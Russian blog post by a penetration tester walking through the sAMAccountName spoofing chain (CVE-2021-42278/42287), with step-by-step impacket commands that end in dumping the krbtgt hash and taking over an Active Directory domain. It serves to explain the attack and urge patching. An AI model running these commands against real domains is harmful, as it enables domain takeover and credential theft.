Сап, Хобр! Значится, сидим мы с коллегой (пливет, @Acrono!) на площадке у Заказчика, воткнутые в скоммутированные сетевые розетки, да пентестим свои внутряки. Повсюду эти ваши 802.1x, AppLocker-ы, PowerShell CLM-ы, LAPS-ы, аверы лютуют, блоча попытки получить заветный хендл к lsass.exe, вся инфра на 2019-х серваках, небо над головой цвета экрана телевизора, настроенного на мертвый канал. В общем, страшный сон (этичного) хакера. И продолжается все это уже третий день. Благо сегодня все будет по-другому, благо сегодня я прочитал про спуфинг sAMAccountName по дороге в офис... На днях исследователь Чарли Кларк (@exploitph, известен своим форком PowerView) опубликовал свежий способ эскалации привилегий в домене Active Directory, основанный на эксплуатации уязвимостей CVE-2021-42287 и CVE-2021-42278. Пачка CVE, связанных с этими уязвимостями, крутится в твиттерах уже около месяца и была оперативно исправлена «мелкомягкими» в рамках ноябрьского Patch Tuesday. Но, как известно, кто не успел, тот опоздал, поэтому домен админа мы с Acrono все же получили. Далее расскажу (и покажу), как это делается, но для начала немного теории. Как оказалось, механизмы Active Directory не проверяют наличие символа $ в конце имени компьютерного аккаунта, хотя все машинные имена оканчиваются именно им. Этот небольшой «не баг, а фича» приводит к вполне себе большим последствиям в связке с уязвимостью CVE-2021-42287. Когда клиент запрашивает тикет TGS, контроллер сперва смотрит в предоставленный им (клиентом) TGT. В случае, если KDC не обнаруживает среди объектов домена объекта с именем, указанным в TGT, контроллер тупо добавляет символ $ к этому имени и шифрует отправляемый TGS с использованием ключа объекта «имя$». А что если мы переименуем какой-нибудь компьютер в контроллер домена, запросим для него TGT, переименуем компьютер обратно (неважно, в какое имя) и с использованием этого TGT запросим TGS на какую-либо службу (например, LDAP) этого, ныне уже не существующего, компьютера? Неужели мы получим билет, подписанный контроллером домена, на самого себя? Да не, бред, быть такого не может... Ведь так? Нет, не так. Все сработает точно, как мы предположили. Продемонстрируем это. Так как эксплуатация уязвимости с Windows-системы, используя Powermad, PowerView и Rubeus, уже подробно описана автором первоначального исследования, я сделаю это удаленно с Linux-машины. В этом нам поможет Python и могущественная библиотека impacket. Первым делом нам нужно создать машинную учетку. Это может прокрутить любой доменный пользователь при условии, что значение свойства ms-DS-MachineAccountQuota в домене AD больше нуля. Проверяем это с помощью go-windapsearch: windapsearch --dc 172.22.0.2 -d tinycorp.net -u j.doe -p 'P@$$w0rd' -m custom --filter '(&(objectClass=domain)(distinguishedName=DC=tinycorp,DC=net))' --attrs ms-ds-machineAccountQuota Далее добавим машинную УЗ с помощью addcomputer.py: addcomputer.py -computer-name FromRussiaWithLove -computer-pass 'Passw0rd!' -dc-ip 172.22.0.2 -dc-host DC01.tinycorp.net tinycorp.net/j.doe:'P@$$w0rd' Успешно. Следующие два шага – убить SPN-ы, чтобы не было конфликтов при переименовании машины, и, собственно, сам ренейм. Здесь придется немного замарать руки и скопипастить написать пару строк кода. К счастью, ldap3 позволяет легко изменять свойства объектов LDAP. В нашем случае это можно сделать в две строки: Написанный на коленке скрипт можно подсмотреть туть. ./renameMachine.py tinycorp.net/j.doe:'P@$$w0rd' -dc-ip 172.22.0.2 -current-name 'FromRussiaWithLove$' -new-name DC01 Что у нас дальше по плану? Верно – получаем TGT с помощью getTGT.py: getTGT.py tinycorp.net/DC01:'Passw0rd!' -dc-ip 172.22.0.2 Переменовываем машинную учетку обратно: ./renameMachine.py tinycorp.net/j.doe:'P@$$w0rd' -dc-ip 172.22.0.2 -current-name DC01 -new-name 'FromRussiaWithLove$' Теперь самая интересная часть – получить тикет на службу нашего несуществующего компьютера, который магическим образом превратится в тикет на DC. Это можно сделать с помощью разновидности RBCD (англ. Resource-based Contrained Delegation) атаки. Активируя транзитное расширение S4U2self протокола Kerberos, мы можем заиметь такой TGS с помощью getST.py. До мастера impacket-а флаг -self еще не добрался, однако он уже добавлен в этом PR (подробности атаки можно глянуть в другом посте от @exploitph): KRB5CCNAME=DC01.ccache python3 impacket/examples/getST.py -spn LDAP/DC01.tinycorp.net tinycorp.net/DC01 -k -no-pass -dc-ip 172.22.0.2 -impersonate administrator -self Вот и все, теперь у нас есть нужный тикет для DCSync-а и мы можем скомпрометировать критически важные учетные записи домена, используя secretsdump.py! KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass DC01.tinycorp.net -dc-ip 172.22.0.2 -just-dc-user 'TINYCORP\krbtgt' Хочется привлечь внимание общественности к этой цепочке атак и призвать всех неравнодушных админов к наискорейшим патчам своих систем (даже несмотря на то, что нам, как пентестерам, это только добавит работы). Информацию для BlueTeam-еров касательно детекта вредоносной активности в рамках описанного кейса можно найти в конце оригинального ресерча. Спасибо за внимание и Happy Hacking! eXploit – CVE-2021-42287/CVE-2021-42278 Weaponisation KB5008102—Active Directory Security Accounts Manager hardening changes (CVE-2021-42278) KB5008380—Authentication updates (CVE-2021-42287) eXploit – Revisiting 'Delegate 2 Thyself' Added -self to getST for S4U2self abuse by ShutdownRepo · Pull Request #1202 · SecureAuthCorp/impacket Sr. Penetration Tester / Red Team Operator